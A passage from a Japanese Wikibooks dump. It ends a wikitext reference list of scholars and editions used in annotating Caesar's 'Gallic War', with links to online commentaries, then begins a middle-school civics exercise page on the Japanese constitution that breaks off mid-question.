*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:de:Carl Nipperdey|Carl Nipperdey (1821-1875)]]&lt;/span&gt;　（略号 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Nipp.&lt;/span&gt;）　ドイツの古典文献学者。『ガリア戦記』の近代的な校訂版を初めて著した。
*:'''校訂版'''：&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;C. Julii Caesaris Commentarii cum supplementis A. Hirtii et aliorum. Ex rec. Car. Nipperdeii (1847)&lt;/span&gt;
===Oehler===
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Franciscus Oehler (1817-1866)&lt;/span&gt;　（独語名 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Franz Oehler (Öhler)&lt;/span&gt;）
*:ドイツの古典文献学者、高校教員。著作については、WorldCat&lt;ref&gt;[http://worldcat.org/identities/lccn-no2007135649/ Oehler, Franz [WorldCat Identities] ]&lt;/ref&gt;等を参照。
**'''校訂版'''：&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;&lt;u&gt;C. Iulii Caesaris Commentarii : cum supplementis A. Hirtii et aliorum.&lt;/u&gt;, Recognovit &lt;u&gt;Franciscus Oehler.&lt;/u&gt;, Lipsiae., typis et sumptibus B. G. Teubneri. MDCCCLX.&lt;/span&gt; （トイプナー、1860年）
**:※Amazon.co.jp&lt;ref&gt;Amazon.co.jp：ペーパーバック版（[https://www.amazon.co.jp/C-Iulii-Caesaris-Commentarii-Supplementis/dp/B009JU6ONY C. Iulii Caesaris Commentarii Cum Supplementis A. Hirti Et Aliorum  Caesar, Julius, Oehler, Franz]）およびハードカバー版。&lt;/ref&gt;、Googleブックス&lt;ref&gt;Googleブックスで「C. Iulii Caesaris Commentarii Franz Oehler」で検索せよ。&lt;/ref&gt;等で購入・閲覧ができる。

===Orosius===
{{Wikipedia|オロシウス|オロシウス}}
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:la:Orosius|Paulus Orosius]]&lt;/span&gt;（略号 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Oros.&lt;/span&gt;：英 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:en:Orosius|Orosius]] 375/385-420&lt;/span&gt;頃）
**4～5世紀頃の現在のスペイン出身のキリスト教の司祭、著述家・史家&lt;ref&gt;[https://kotobank.jp/word/%E3%82%AA%E3%83%AD%E3%82%B7%E3%82%A6%E3%82%B9-41771 オロシウスとは - コトバンク] などを参照。&lt;/ref&gt;。
**著作『異教徒に反論する歴史』全7巻（&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:la:Historiae adversum paganos|Historiae adversum paganos]]&lt;/span&gt;）の6巻7章10節が参照されている。

===Oudendorpius===
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Franciscus Oudendorpius&lt;/span&gt;　（略号 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Oud.&lt;/span&gt;）　&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:fr:Frans van Oudendorp|Frans van Oudendorp (1696-1761)]]&lt;/span&gt;　オランダの文献学者、[[w:ライデン大学|ライデン大学]]教授。
**'''校訂版'''： &lt;span style=&quot;font-family:Times New Roman;font-size:13pt;&quot;&gt;C. Julii Caesaris Commentarii de bello Gallico et Civili: Accedunt libri De bello Alexandrino, Africano, et Hispaniensi&lt;/span&gt; 
**: WorldCat &lt;ref&gt;[http://worldcat.org/identities/lccn-n94091268/ Oudendorp, Frans van 1696-1761 [WorldCat Identities] ]&lt;/ref&gt;, Vaif.org&lt;ref&gt;[https://viaf.org/viaf/37257920/ viaf.org(37257920)]&lt;/ref&gt;  などを参照せよ。
===Plutarchus===
{{Wikipedia|プルタルコス|プルタルコス}}
{{Wikipedia|対比列伝|対比列伝}}
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:la:Plutarchus|Plutarchus (Πλούταρχος)]]&lt;/span&gt;　（略号 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Plut.&lt;/span&gt;：英 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:en:Plutarch|Plutarch]] 46-122&lt;/span&gt;頃）
*:プルータルコス：帝政ローマ期のギリシア人著述家・伝記作家&lt;ref&gt;[https://kotobank.jp/word/%E3%83%97%E3%83%AB%E3%82%BF%E3%83%AB%E3%82%B3%E3%82%B9-127292 プルタルコスとは - コトバンク] などを参照。&lt;/ref&gt;。
**著作『[[w:対比列伝|対比列伝]]』（希 &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Βίοι παράλληλοι,&lt;/span&gt; 羅 &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:la:Vitae parallelae|Vitae parallelae]]&lt;/span&gt;）のうち、
***『カエサル伝』（羅 &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:Vita Iulii Caesaris (Plutarchus)la:|Vita Iulii Caesaris]]&lt;/span&gt;, 英 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:en:Parallel Lives|Parallel Lives]]&lt;/span&gt;）
::などが、『ガリア戦記』の校訂においても重要な史料としてしばしば参照されている。
&lt;!--
&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:la:|]]&lt;/span&gt;
--&gt;

===Rhenanus===
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:la:Beatus Rhenanus|Beatus Rhenanus (1485-1547)]]&lt;/span&gt;　（独語名も &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:de:Beatus Rhenanus|Beatus Rhenanus]]&lt;/span&gt;）　ドイツの人文主義者・古典学者・宗教改革者。

===Rösch (Roesch)===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Jakob Friedrich von Rösch (Roesch)(1743-1841)&lt;/span&gt;&lt;ref&gt;[[w:de:Jakob Friedrich Rösch]]&lt;/ref&gt;&lt;ref&gt;[https://www.worldcat.org/title/commentar-uber-die-commentarien-des-caesar-als-eine-beantwortung-der-remarques-sur-cesar-des-hernn-general-major-von-w-nebst-beitraegen-zur-roemischen-taktik/oclc/759572811&amp;referer=brief_results Commentar über die Commentarien des Caesar : als eine Beantwortung der Remarques sur Cesar des Hernn General-Major von W. ; nebst Beitraegen zur Roemischen Taktik (書籍, 1783) [WorldCat.org] ]の著者を参照。&lt;/ref&gt;
*:18～19世紀･ドイツの数学者・軍事科学者・歴史家・建築家。古代史や芸術史の出版を行なっている。この人物であろう。
:※ &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Pontet&lt;/span&gt; は &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Rösch&lt;/span&gt; 、&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Constans, Seel&lt;/span&gt; は &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Roesch&lt;/span&gt; と表記して引用。
::[[ガリア戦記 第2巻/注解/17節|『ガリア戦記』第2巻17節]]など。

===R.Schneider===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:de:Rudolf Schneider (Historiker)|Rudolf Schneider (1852-1911)]]&lt;/span&gt;　（略号 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;RSchn.&lt;/span&gt;）　ドイツの軍事史家。
*:'''著作集'''：&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[s:de:Rudolf Schneider]]&lt;/span&gt;

===Scaliger===
{{Wikipedia|ジュール・セザール・スカリジェ|スカリジェ}}
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:la:Iulius Caesar Scaliger|Iulius Caesar Scaliger (1484-1558)]]&lt;/span&gt;　（略号 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Scal.&lt;/span&gt; ：仏語名 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:fr:Jules César Scaliger|Jules César Scaliger]]&lt;/span&gt;）
*:イタリア出身のフランスの人文主義者・医師。
===Schiller===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:de:Hermann Schiller|Hermann Schiller (1839-1902)]]&lt;/span&gt;
*:ドイツの教育者。文法学校長、のちに[[w:ユストゥス・リービッヒ大学ギーセン|ギーセン大学]]教授。&lt;br&gt;　『ローマ帝国史』（三部構成、全2巻）の著者。　『ガリア戦記』の校訂者ではない。
*:'''著作''': &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;''Geschichte der Römischen Kaiserzeit''. 2 Bände in 3 Teilen. Perthes, Gotha 1883/1887.&lt;/span&gt;&lt;ref&gt;[https://www.worldcat.org/title/geschichte-der-romischen-kaiserzeit/oclc/781989391 Geschichte der römischen Kaiserzeit (書籍, 1883) [WorldCat.org] ]&lt;/ref&gt;
===Schneider===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:12pt;&quot;&gt;[[w:de:Karl Ernst Christoph Schneider|Karl Ernst Christoph Schneider  (1786-1856)]]&lt;/span&gt;（ドイツの文献学者） ⇒ &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[#Schneider,K.E.Chr.]]&lt;/span&gt;
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:12pt;&quot;&gt;[[w:de:Rudolf Schneider (Historiker)|Rudolf Schneider (1852-1911)]]&lt;/span&gt;（ドイツの軍事史家） ⇒ &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[#R.Schneider]]&lt;/span&gt;
===Schneider,K.E.Chr.===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:de:Karl Ernst Christoph Schneider|Karl Ernst Christoph Schneider (1786-1856)]]&lt;/span&gt;　&lt;!--（略号 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;&lt;/span&gt;)--&gt;
*:カール・エルンスト・クリストフ・シュナイダー：18～19世紀ドイツの文献学者

===Spillmann===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Emil Spillmann&lt;/span&gt;
*:&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Caesariana, by Emil Spillmann (St. Gallen, 1878)&lt;/span&gt; の著者。
===Stephanus (Estienne)===
{{Wikipedia|ロベール・エティエンヌ|ロベール・エティエンヌ}}
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Robertus Stephanus&lt;/span&gt;（仏語名 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:fr:Robert Estienne|Robert Estienne (1503-1559)]]&lt;/span&gt;; [[w:en:Robert Estienne|en]]）
*:ロベルトゥス・ステファヌス&lt;small&gt;（ラテン語名）&lt;/small&gt;
*:ロベール・エティエンヌ&lt;small&gt;（仏語名）&lt;/small&gt;
*::16世紀フランスの古典学者・印刷業者

===Ursinus===
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:la:Fulvius Ursinus|Fulvius Ursinus (1529-1600)]]&lt;/span&gt;（略号 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Ursin.&lt;/span&gt; ； イタリア語名 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:en:Fulvio Orsini|Fulvio Orsini]]&lt;/span&gt; [[w:フルヴィオ|フルヴィオ]]・[[w:オルシーニ家|オルシーニ]]）
*:'''フルヴィオ・オルシーニ'''：16世紀イタリアの人文主義者・史家・考古学者。幾人もの教皇を輩出した中世ローマの有力貴族[[w:オルシーニ家|オルシーニ家]]の出身で、多くの古典を収集して図書館を建て、ローマ教皇庁の[[w:バチカン図書館|バチカン図書館]]に遺贈した。
*'''著作''' &lt;ref&gt;[https://search.worldcat.org/ja/search?q=au%3D%22Orsini%2C+Fulvio%22&amp;author=Orsini%2C+Fulvio au=&quot;Orsini, Fulvio&quot; - 検索結果] (WorldCat.org)&lt;/ref&gt;
*'''校訂版'''：&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;C. Iulii Caesaris Commentariorum De bello Gallico, libri 8 Ciuili Pompeiano, libri 3 (1571)&lt;/span&gt; &lt;ref&gt;[https://search.worldcat.org/ja/title/1266402981 C. Iulii Caesaris Commentariorum De bello Gallico, libri 8 Ciuili Pompeiano, libri 3 Alexandrino, lib. 1 Africano, lib. 1 Hispaniensi, lib. 1 eiusdem fragmenta a Fuluio Vrsino collecta Galliae, Hispaniae, locorumque insignium, pictura. Nomina tum uetera, tum recentia, explanata variae lectiones Scholia Aldi Manutii Paulli f. Aldi n | WorldCat.org]&lt;/ref&gt; ほか

===Vascosanus===
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Michael Vascosanus&lt;/span&gt;（仏語名 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:fr:Michel de Vascosan|Michel de Vascosan (1500-1576/77)]]&lt;/span&gt; ）
*:16世紀フランスの司書・印刷業者&lt;ref&gt;[http://worldcat.org/identities/lccn-nr95024401/ Vascosan, Michel de -approximately 1577 [WorldCat Identities] ]&lt;/ref&gt;&lt;ref&gt;[https://portail.biblissima.fr/ark:/43093/pdatac02439a6e1fbf35c63e1c29d7cf7a29f4001ed1a Michel de Vascosan (1500-1577)  Biblissima] &lt;/ref&gt;&lt;ref&gt;[https://viaf.org/viaf/27118843/ 27118843 - VIAF]&lt;/ref&gt;。
===Vossius===
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:en:Dionysius Vossius|Dionysius Vossius (1612–1633)]]&lt;/span&gt;（オランダ語名 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Dionies Vos&lt;/span&gt;）
*:17世紀オランダの翻訳者
*'''校訂版'''：&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;C. Julius Caesar's Commentaries On The Gallic War, From The Text Of [[#Oudendorpius|Oudendorp]]: With a Selection Of Notes From Dionysius Vossius, From Drs. Davies And Clarke, From Oudendorp, And Other Editors And Philologists &lt;!--(Classic Reprint)--&gt;&lt;/span&gt;&lt;ref&gt;[https://www.amazon.co.jp/Julius-Caesars-Commentaries-Gallic-Oudendorp/dp/1390618587 Amazon | C. Julius Caesar's Commentaries On The Gallic War, From The Text Of Oudendorp: With a Selection Of Notes From Dionysius Vossius, From Drs. Davies And Clarke, From Oudendorp, And Other Editors And Philologists (Classic Reprint) | Caesar, Gaius Julius | Instruction]&lt;/ref&gt;
&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;&lt;/span&gt;

===Whitte===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Hans Kofod Whitte (1810-1894)&lt;/SPAN&gt;
*:19世紀デンマークの古典学者・高校教師&lt;ref&gt;[https://www.ancestry.com/genealogy/records/hans-kofod-whitte-24-6l20z1 Hans Kofod Whitte, b.1810 d.1894 - Ancestry®]&lt;/ref&gt;。1886年に『ガリア戦記』の注釈書を著わしている。
;著作 &lt;ref&gt;[https://onlinebooks.library.upenn.edu/webbin/book/lookupname?key=Whitte%2C%20Hans%20Kofod%2C%201810%2D1894 Whitte, Hans Kofod, 1810-1894 | The Online Books Page]&lt;/ref&gt;
# Collatio codicum II havniensium cum editione elberlingiana G. Julii Caesaris Commenttt. (B. Lunos, 1847) &lt;ref&gt;[https://catalog.hathitrust.org/Record/001724964 Catalog Record: Collatio codicum II havniensium cum editione... | HathiTrust Digital Library]&lt;/ref&gt;
# Gaji Julii Caesaris De bello gallico commentariorum libri septem et octavus A. Hirtii; in usum scholarum (Impensis librariae Gyldendalianae (F. Hegel &amp; fil), 1886)&lt;ref&gt;[https://catalog.hathitrust.org/Record/006540375 Catalog Record: Gaji Julii Caesaris De bello gallico... | HathiTrust Digital Library]&lt;/ref&gt;

===Zeuss===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:de:Johann Kaspar Zeuß|Johann Kaspar Zeuß (Zeuss)(1806-1856)]]&lt;/span&gt;
**ドイツの文献学者・史家で、ケルト文献学の創始者。
===Zucker===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Zucker&lt;/span&gt;：&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:de:Friedrich Zucker|Friedrich Zucker (1881-1973)]]&lt;/span&gt; のことか？
**フリードリヒ・ツッカーは、ドイツの古典文献学者で、カエサルやタキトゥス、セネカなどのラテン文学に関する論文も著している。
**:モイゼル（[[#Meusel]]）らが、『ガリア戦記』[[ガリア戦記_第7巻/注解/36節|第7巻36節]]6項の &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;nimis firmo&lt;/span&gt; という記述について ツッカーの &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;infirmo&lt;/span&gt; という修正提案を採用している、とホームズ（[[#Holmes]]）が言及している。


&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;&lt;/span&gt;

&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;&lt;/span&gt;

==注釈書等==

:[[#オンライン注釈書等]]も参照。


== 脚注 ==
{{Reflist}}
== 関連項目 ==
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記/注解編]]　{{進捗|00%|2020-03-27}}&lt;/span&gt;
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記/用例集]]　{{進捗|00%|2020-03-29}}&lt;/span&gt;
== 外部リンク ==

===オンライン注釈書等===

&lt;div style=&quot;background-color:#eeeeee;&quot;&gt;
====Caesar's Gallic war : notes by F. W. Kelsey (1897)====
:C. Iuli Caesaris De bello gallico libri VII : 
::Caesar's Gallic war : with an introduction, notes, and vocabulary
::: by [[w:en:Francis Kelsey|Francis Willey Kelsey (1858-1927)]], Fifteenth Edition (1897)
:::: (HathiTrust Digital Library　[[w:ハーティトラスト|ハーティトラスト・デジタルライブラリ]]で電子化)
:: [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=19 Contents] (#19)

;:─TEXT─
:: '''Book 1''' ： [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=77 Commentarius Primus] &amp;nbsp;&amp;nbsp; (#77) 
:: '''Book 2''' ： [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=119 Commentarius Secundus] (#119)
:: '''Book 3''' ： [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=144 Commentarius Tertius] &amp;nbsp;&amp;nbsp; (#144)
:: '''Book 4''' ： [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=162 Commentarius Quartus] &amp;nbsp; (#162)
:: '''Book 5''' ： [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=186 Commentarius Quintus] &amp;nbsp; (#186)
:: '''Book 6''' ： [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=219 Commentarius Sextus] &amp;nbsp; (#219)
:: '''Book 7''' ： [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=243 Commentarius Septimus] &amp;nbsp; (#243)

;:─NOTES─
:: '''Book 1''' ： [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=307 Book I.] (#307) ; [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=332 The Campaign against Ariovistus] (#322)
:: '''Book 2''' ： [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=332 Book II.] (#332)
:: '''Book 3''' ： [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=380 Book III.] (#380)
:: '''Book 4''' ： [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=395 Book IV.] (#395)
:: '''Book 5''' ： [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=416 BOOK V.] (#416)
:: '''Book 6''' ： [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=441 BOOK VI.] (#441)
:: '''Book 7''' ： [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=460 BOOK VII.] (#460)
:::: [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=494 The Routes of Caesar] (#494)
:::: [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=495 On the Study of Caesar] (#495)
:::: [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=497 Helps to the Study of Caesar] (#497)
:: [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=499 Idioms and Phrases] (#499), [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=506 #506], [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=507 #507], [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=508 #508]
:: [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=515 Vocabulary] (#515); [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=517 Vocabulary Ａ] (#517), [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=529 Ｂ], ～ , [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=635 Ｖ].
&lt;/div&gt;


&lt;div style=&quot;background-color:#eeeeee;&quot;&gt;
====Caesar's Gallic war : edited by F. W. Kelsey (1903)====
:C. Iulii Caesaris Commentarii rerum gestarum.
::Caesar's Commentaries: the Gallic war, books I-Iv, with selections from books V-VII and from the civil war;
:::with an introduction, notes, a companion to Caesar and a vocabulary, 
:::: by [[w:en:Francis Kelsey|Francis Willey Kelsey (1858-1927)]], Fifteenth Edition (1897)
::::: (HathiTrust Digital Library　[[w:ハーティトラスト|ハーティトラスト・デジタルライブラリ]]で電子化)
*[https://catalog.hathitrust.org/Record/000441877 Catalog Record: C. Iulii Caesaris Commentarii rerum gestarum....] (HathiTrust Digital Library)

&lt;/div&gt;


====Harkness, Albert (1889)====
&lt;span style=&quot;font-family:Times New Roman;font-style:normal;&quot;&gt;&lt;span style=&quot;font-size:15pt;&quot;&gt;Caesar's Commentaries on the Gallic War, 　&lt;/span&gt;&lt;span style=&quot;font-size:13pt;&quot;&gt;with notes, dictionary, and a map of Gaul.&lt;/span&gt;&lt;br&gt;　　&lt;span style=&quot;font-size:15pt;&quot;&gt;
　　edited by &lt;u&gt;[[w:en:Albert Harkness|Albert Harkness (1822-1907)]]&lt;/u&gt; &lt;ref&gt;[https://onlinebooks.library.upenn.edu/webbin/book/lookupname?key=Harkness%2C%20Albert%2C%201822%2D1907 Harkness, Albert, 1822-1907 | The Online Books Page]&lt;/ref&gt;, New York, [[w:en:D. Appleton &amp; Company|D. Appleton and Company]], 1889 (Rivised Edition)&lt;/span&gt;&lt;/span&gt;
::Caesar's commentaries on the Gallic war; with notes, dictionary, ... (Full View | HathiTrust Digital Library)
;　BOOK FIRST
# [https://babel.hathitrust.org/cgi/pt?id=hvd.hn3hve&amp;view=1up&amp;seq=273 #273]
;　BOOK SECOND
# [https://babel.hathitrust.org/cgi/pt?id=hvd.hn3hve&amp;view=1up&amp;seq=316 #316]
;　BOOK THIRD
# [https://babel.hathitrust.org/cgi/pt?id=hvd.hn3hve&amp;view=1up&amp;seq=331 #331]
;　BOOK FOURTH
# [https://babel.hathitrust.org/cgi/pt?id=hvd.hn3hve&amp;view=1up&amp;seq=341 #341]
;　BOOK FIFTH
# [https://babel.hathitrust.org/cgi/pt?id=hvd.hn3hve&amp;view=1up&amp;seq=354 #354]
;　BOOK SIXTH
# [https://babel.hathitrust.org/cgi/pt?id=hvd.hn3hve&amp;view=1up&amp;seq=365 #365]
;　BOOK SEVENTH
# [https://babel.hathitrust.org/cgi/pt?id=hvd.hn3hve&amp;view=1up&amp;seq=373 #373]
;　DICTIONARY
# [https://babel.hathitrust.org/cgi/pt?id=hvd.hn3hve&amp;view=1up&amp;seq=387 #387]


&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;&lt;/span&gt;

&lt;pre&gt;


&lt;/pre&gt;

===そのほか===
;Internet Archive
*[https://archive.org/ archive.org/] ([[w:インターネットアーカイブ|Internet Archive]])
**[https://archive.org/details/commentariidebel00caesuoft/page/n7/mode/2up Commentarii de bello Gallico et civili; accedunt libri de bello Alexandrino, Africano, et Hespaniensi; : Caesar, Julius : Free Download, Borrow, and Streaming : Internet Archive]

;WorldCat.org
* [https://search.worldcat.org/ WorldCat.org]

;www.jstor.org
* [https://www.jstor.org/stable/849662?seq=17 Caesar B. G., III., 12, 1-A Review and an Interpretation on JSTOR]
** [https://www.jstor.org/stable/pdf/849662.pdf Caesar B. G., III., 12, 1-A Review and an Interpretation]

[[Category:ガリア戦記|*#]]</text>
      <sha1>1c9o8rtkwj47j6tvyzdzg80odh46mzz</sha1>
    </revision>
  </page>
  <page>
    <title>中学校社会 公民/練習問題/人権と日本国憲法</title>
    <ns>0</ns>
    <id>32872</id>
    <revision>
      <id>305245</id>
      <parentid>221360</parentid>
      <timestamp>2026-11-01T02:17:13Z</timestamp>
      <contributor>
        <username>~2026-57932-58</username>
        <id>92923</id>
      </contributor>
      <comment>誤字修正</comment>
      <origin>305245</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="16132" sha1="p1ip78c0615egclzvgw9jl1qbiwrtsz" xml:space="preserve">'''１　憲法の成り立ちと日本国憲法'''

次の文章を読んで、以下の問に答えなさい。

日本では、明治時代にドイツ（プロイセン）の憲法を手本とした憲法がつくられた。手本としたドイツの憲法では、君主の権限が絶対的なものとなっていた。その後、ドイツでは世界で初めて（①）を認める民主的なワイマール憲法がつくられたものの、ヒトラーの台頭によってそれらは形骸化されていった。日本の大日本帝国憲法では、（②）が統治権をもった。また、国民の権利を（③）の範囲内で制限することができた。戦後は、GHQの下で民主的な憲法づくりが進められた。つくられた日本国憲法では、国の（④）法規となっている。また、新たな憲法では天皇は、国の尊重として（⑤）行為を行っている。

問１　（①）～（⑤)に適切な語句を答えなさい。

問2　次の文章に当てはまる語句をそれぞれ答えなさい｡なお(い)は選択肢の中から選びなさい｡　(入試問題)

フランスの思想家である(あ)は、18世紀に著した(い　社会契約論/法の精神)の中で三権分立を唱えた｡

問3　立憲主義とはどのような考えのことかを憲法によって制限するものと守るものが分かるように、簡潔に答えなさい｡(入試問題)

[[ファイル:あたらしい憲法のはなし 戦争放棄.png|サムネイル|あたらしい憲法のはなし]]

問4　次の資料についての問題にそれぞれ答えなさい。

問４ー１　次の資料は憲法の3大原則の何を表しているか答えなさい｡

問４ー２　次の資料に当てはまる憲法の条文を１～４から一つ選びなさい。

１　日本国民は、正義と秩序を基調とする国際平和を誠実に希求し、国権の発動たる戦争と、武力による威嚇又は武力の行使は、国際紛争を解決する手段としては、永久にこれを放棄する。（９条）

２　すべて国民は、法の下に平等であって、人種、信条、性別、社会的身分又は門地により、政治的、経済的又は社会的関係において、差別されない。（１４条）

３　すべて国民は、健康で文化的な最低限度の生活を営む権利を有する。（２５条）

４　何人も、現行犯として逮捕される場合を除いては、権限を有する司法官憲が発し、且つ理由となつてゐる犯罪を明示する令状によらなければ、逮捕されない。（３３条）

(次の資料についての説明)あたらしい憲法のはなしは、太平洋戦争の終結後に作られた中学1年生用の教科書で戦後数年間使われた｡小中学校の教科書や資料集で用いられることがあるので覚えておこう｡

問５　近年自衛隊は東ティモールやカンボジアで国際平和協力法に基づいてある活動をしている。その名前をアルファベット３文字で答えなさい。

問６　次は日本国憲法の改正の手続きを示したものである。文章の（　）の中に当てはまる語句の組み合わせを次の①～④から一つ選びなさい。(入試問題)

（あ）以上の賛成で、国会が憲法改正の発議をする。この承認には（い）が必要であり、これで過半数の賛成を取れば憲法は改正される。

①　あ　衆議院の総議員の３分の２　　　い　国民投票

②　あ　参議院の過半数　　　　　　　　い　住民投票

③　あ　各議院の総議員の３分の２　　　い　国民投票

